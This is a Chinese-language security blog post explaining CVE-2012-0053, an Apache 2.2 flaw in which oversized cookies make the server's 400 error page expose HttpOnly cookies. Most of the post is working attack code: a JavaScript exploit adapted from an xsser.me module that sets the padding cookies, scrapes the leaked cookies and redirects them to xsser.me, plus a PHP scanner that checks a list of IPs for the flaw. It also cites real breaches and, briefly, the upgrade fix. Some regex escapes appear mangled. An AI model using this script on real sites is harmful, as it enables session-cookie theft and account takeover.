CVE20120053详解

admin 2019年5月8日15:24:53评论1,075 views字数 2814阅读9分22秒阅读模式
摘要

Apache服务器2.2.0-2.2.21版本存在一个漏洞(CVE-2012-0053),攻击者可通过给网站植入超大的Cookie,使得HTTP头超过apache的LimitRequestFieldSize(最大请求长度)4192字节,apache便会返回400错误,状态页中就包含了http-only保护的cookies。

0x00 背景


Apache服务器2.2.0-2.2.21版本存在一个漏洞(CVE-2012-0053),攻击者可通过给网站植入超大的Cookie,使得HTTP头超过apache的LimitRequestFieldSize(最大请求长度)4192字节,apache便会返回400错误,状态页中就包含了http-only保护的cookies。

0x01 详情


老外在exploit-db上公布了测试apache站点是否有这个问题的js代码。

http://www.exploit-db.com/exploits/18442/

代码稍微改一下就可以是一个收取cookie的exp了,看一下xsser.me的模块:

function setCookies() {     /*apache server limit 8192*/     var str = "";     for (var i = 0; i < 819; i++) {         str += "x";     }     for (i = 0; i < 10; i++) {         var cookie = "ray" + i + "=" + str + ";path=/";         document.cookie = cookie;     } } function parseCookies() {     if (xhr.readyState === 4 && xhr.status === 400) {         var content = xhr.responseText.replace(//r|/n/g, '').match(/<pre>(.+)<//pre>/);         content = content[1].replace("Cookie: ", "");         cookies = content.replace(/ray/d=x+;?/g, '') try {             var myopener = '';             myopener = window.parent.openner.location;             var myparent = '';             myparent = window.parent.location;         } catch(err) {             myopener = '0';             myparent = '0';         }         window.location = 'http://xsser.me/index.php?do=api&id={projectId}&location=' + escape(document.location) + '&toplocation=' + escape(myparent) + '&cookie=' + escape(cookies) + '&opener=' + escape(myopener);     } } setCookies(); var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest(); xhr.onreadystatechange = parseCookies; xhr.open("POST", "/?" + Math.random(), true); xhr.send(null); 

在执行这段代码后,会种下10个819字节长的cookie,使得请求头超过最大请求长度,然后发起一次POST请求,待服务器返回400错误后从状态页中正则提取出经http-only保护的cookies。

CVE20120053详解

0x02 危害


关于此漏洞的利用,乌云上也有相关案例,如:

WooYun: 腾讯分站 Apache 漏洞

其实最经典的案例要数这个了:

WooYun: XSS漏洞渗透新浪微博《头条新闻》账号

微博本身重要的cookie都设置了httponly,但是有一个域名下有这个apache漏洞。

刚好也有一个flash的xss,导致了此事件的发生。

0x03 后续


这个漏洞再次证明了:

本来是一个正常的功能,可因为设计不当成了XSS的帮凶。

下面的代码是之前的简单的写了一个验证是否存在这个漏洞的php脚本。

各位有需要的可以拿去使用下,现在估计存在这个问题的不多了,去年刚出来的时候可是大片存在。

<?php  //生成构造特殊cookie function cookie () {     $str = "";     for ($i=0; $i< 819; $i++) {         $str .= "x";     }     $cookie= "secdragon=secdragon;path=/";     for ($i = 0; $i < 10; $i++) {          $cookie .= "xss".$i."=".$str.";path=/";     }     return $cookie;     }  //获取url,发包判断返回状态及结果 function my_get_http_result($url){     if (empty($url)){       return false;     }     $ch = curl_init();     curl_setopt($ch, CURLOPT_URL, "$url");     curl_setopt($ch, CURLOPT_TIMEOUT, 30);      curl_setopt($ch, CURLOPT_HEADER, 0);      curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);     curl_setopt($ch, CURLOPT_COOKIE, cookie());     $result = curl_exec($ch);     $info = curl_getinfo($ch);     curl_close($ch);     if( $info['http_code'] == "400" )         return $result;     else{         return '';     } }  //判断是否成功获取cookie function check($url){     $a=my_get_http_result($url);     if(strpos($a,'secdragon=secdragon'))         echo $url.':success!'."<br/>";     else{         echo $url.':failed!'."<br/>";     } }  //获取需检测ip,也可将ip放在同目录下的ip.txt中,一行一个ip $url=(@$_GET['url'])?$_GET['url']:@$argv[1]; if(!$url){     $fp=fopen('ip.txt','r+');     while($ipstr=fgets($fp)){         if(preg_match('#[/w/.]+#',$ipstr,$match)){             check($match[0]);         }     } }else{     check($url); }  ?> 

0x04修复方式

Apache2.2.22及以上版本已经修复此问题,升级即可解决。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2019年5月8日15:24:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE20120053详解http://cn-sec.com/archives/66096.html

发表评论

匿名网友 填写信息